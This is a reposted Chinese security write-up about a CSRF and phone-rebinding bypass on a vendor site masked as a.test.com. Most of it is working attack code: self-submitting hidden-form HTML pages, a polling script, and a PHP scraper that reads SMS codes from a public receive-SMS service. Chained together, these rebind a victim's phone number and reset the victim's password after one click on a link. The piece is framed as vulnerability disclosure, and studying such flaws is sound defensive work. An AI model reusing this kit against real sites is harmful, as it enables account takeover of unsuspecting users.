文章来源:转载来源语雀文档,非P喵呜作者本人投稿
如有侵权,请联系删除
0x01 漏洞描述
1网站铭感操作没有添加 csrf_token
2并且手机绑定流程可被绕过
3用户可被钓鱼修改手机号码,从而导致用户密码给重置
0x02 漏洞讲解
功能点: 用户手机号码修改
正常的绑定流程:
1用户点击修改手机号码
2自动向原手机号码发送短信
3用户输入原手机接收到的短信验证码
4确定正确以后,后端设置一个用于绑定新手机的 session
5然后跳转/打开绑定手机的窗口
6用户输入新手机号码
7获取新手机号码验证码
8用户提交验证码
9后端先判断是否通过了原手机验证,然后在验证现手机号码是否正确
10如果通过则修改当前用户手机号码
该厂商绑定流程
1用户点击修改手机号码
2自动向手机号码发送短信
3用户输入原手机接收到的短信验证码
4确定正确以后直接跳转绑定手机的窗口
5用户输入新手机号码
6获取新手机号码验证码
7用户提交验证码
8后端判断现手机号码是否正确
9如果通过则修改当前用户手机号码
通过我这个简单的梳理可以看到
厂商没有在绑定新手机号时在次验证一次原手机号码是否通过,导致我们可以直接调用绑定手机号码的接口,而忽略验证接口,最终导致用户给修改了手机号码
0x03 漏洞简单演示
注: 文章中的项目地址统一修改为: a.test.com 保护厂商也保护自己
整个绑定过程中有 3 个接口分别是
https://a.test.com/user/info/send_code 发送短信的接口
https://a.test.com/user/info/check_bind_phone 验证原手机号码是否正确的接口
https://a.test.com/user/info/modify_bind_phone 绑定新手机号码的接口
值得一提的是这个站点所有的验证码都是 https://a.test.com/user/info/send_code 这个接口
所以其实存在大量的短信验证码覆盖问题
例如说:
绑定手机获取的验证码可以用在手机找回处
好了多的不说了
我们可以直接写一个脚本
攻击方:
准备一台外网服务器:127.0.0.1
创建页面一: send_code.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title> 点我发送验证码~</title>
<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script>
<script src="http://cdn.bootcss.com/jquery-cookie/1.4.1/jquery.cookie.min.js"></script>
</head>
<body>
<form action="https://a.test.com/user/info/send_code" method="post">
<input type="hidden" value="17157727034" name="mobile">
<input type="submit" name="小帅哥快来玩啊" id="send_code" style="display:none;">
</form>
</body>
</html>
<script>
if ($.cookie('csrf_test') != 'ok') {
$.cookie('csrf_test', 'ok');
$("#send_code").click(function () {
window.open("http://127.0.0.1/modify_bind_phone.html");
});
$("#send_code").click();
} else {
$.cookie('csrf_test', null);window.opener = null;
// JS 重写当前页面
window.open("", "_self", "");
// 顺理成章的关闭当前被重写的窗口
window.close();
}
</script>
创建页面二: modify_bind_phone.html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title> 我~修改你绑定手机号码 </title>
<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script>
</head>
<body>
<form action="https://a.test.com/user/info/modify_bind_phone" method="post">
<input type="hidden" value="17157727034" name="mobile" />
<input type="hidden" value="" name="code" id="code" />
<input type="submit" name="点我瞬间爆炸" style="display:none;" id="modify_bind_phone" />
</form>
<script>
i = 1
setInterval(function(){
$.ajax({
type: "GET",
url: "http://127.0.0.1/file_get.php",
dataType: "json",
data: {},
success: function(data){
if (data != false) {
$('#code').val(data)
code = $('#code').val()
if (code !== '') {
$("#modify_bind_phone").click()
}
}
},
error: function(){
alert("我。。。可能不行了")
}
})
console.log('第'+i+'次执行')
i++
},500)
</script>
</body>
</html>
创建 php 脚本获取验证码: file_get.php
<?php
function curlRequest($url) {
$curl = curl_init();
//设置抓取的 url
curl_setopt($curl, CURLOPT_URL, $url);
//设置头文件的信息作为数据流输出
curl_setopt($curl, CURLOPT_HEADER, 0);
//设置获取的信息以文件流的形式返回,而不是直接输出。
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
//重要!
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); // https 请求 不验证证书和 hosts
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //模拟浏览器代理
//执行命令
$data = curl_exec($curl);
//关闭 URL 请求
curl_close($curl);
return $data;
}
/**
* 模糊搜索数组
* $data 数组
* $key 匹配字符串
*
*/
function arrlikes($data, $key) {
$arr = array();
foreach ($data as $k => $v) {
if (strstr($v, $key) !== false) {
array_push($arr, $v);
}
}
return $arr;
}$content = curlRequest('https://www.pdflibr.com/SMSContent/48');
preg_match_all('/<td>(.*?)<\/td>/', $content, $match);
foreach ($match[0] as $key => $value) {
if (($key + 1) % 3 == 0) {
$arr[] = $value;
}
}
$data = arrlikes($arr, '【我是厂商】您的验证码是:');
$data = $data[0];
$data = str_replace('<td> 【我是厂商】您的验证码是:', '', $data);
$data = str_replace('。有效期 10 分钟,请勿泄露给他人!</td>', '', $data);
if ($data === '') {
echo 'false';
} else {
echo trim($data);
}
设置好这 3 个以后发送链接给受害者:http://127.0.0.1/send_code.html
受害者打开,代码执行
需要注意的是: 这里我使用了免费的在线接码平台https://www.pdflibr.com
帮我接码其中绑定的手机是: 17157727034
然后攻击者通过找回密码的功能即可重置用户密码
最终使用账号: 17157727034 加上刚刚重置的密码即可登录
0x04 脚本思路讲解
我的思路很简单就是先发给用户一个 url: http://127.0.0.1/send_code.html
当用户打开的时候,这个 html 会干两件事情
1自动打开一个新界面: http://127.0.0.1/csrf/modify_bind_phone.html
2模拟点击事件调用厂商平台获取绑定手机验证码的接口
接着被打开的界面: modify_bind_phone.html,也会干两件事
1死循环每 0.5S 请求接口: http://127.0.0.1/csrf/file_get.php 查看是否获取到了验证码
2当获取到验证码时模拟点击事件发送绑定新手机号码的请求
最终用户即可点击我们的一个链接就给强制绑定一个新手机号码,然后我们就可以通过找回密码,重置用户登录密码
推荐阅读
星球部分精华内容推荐
其他更多精彩内容,欢迎加入我们的星球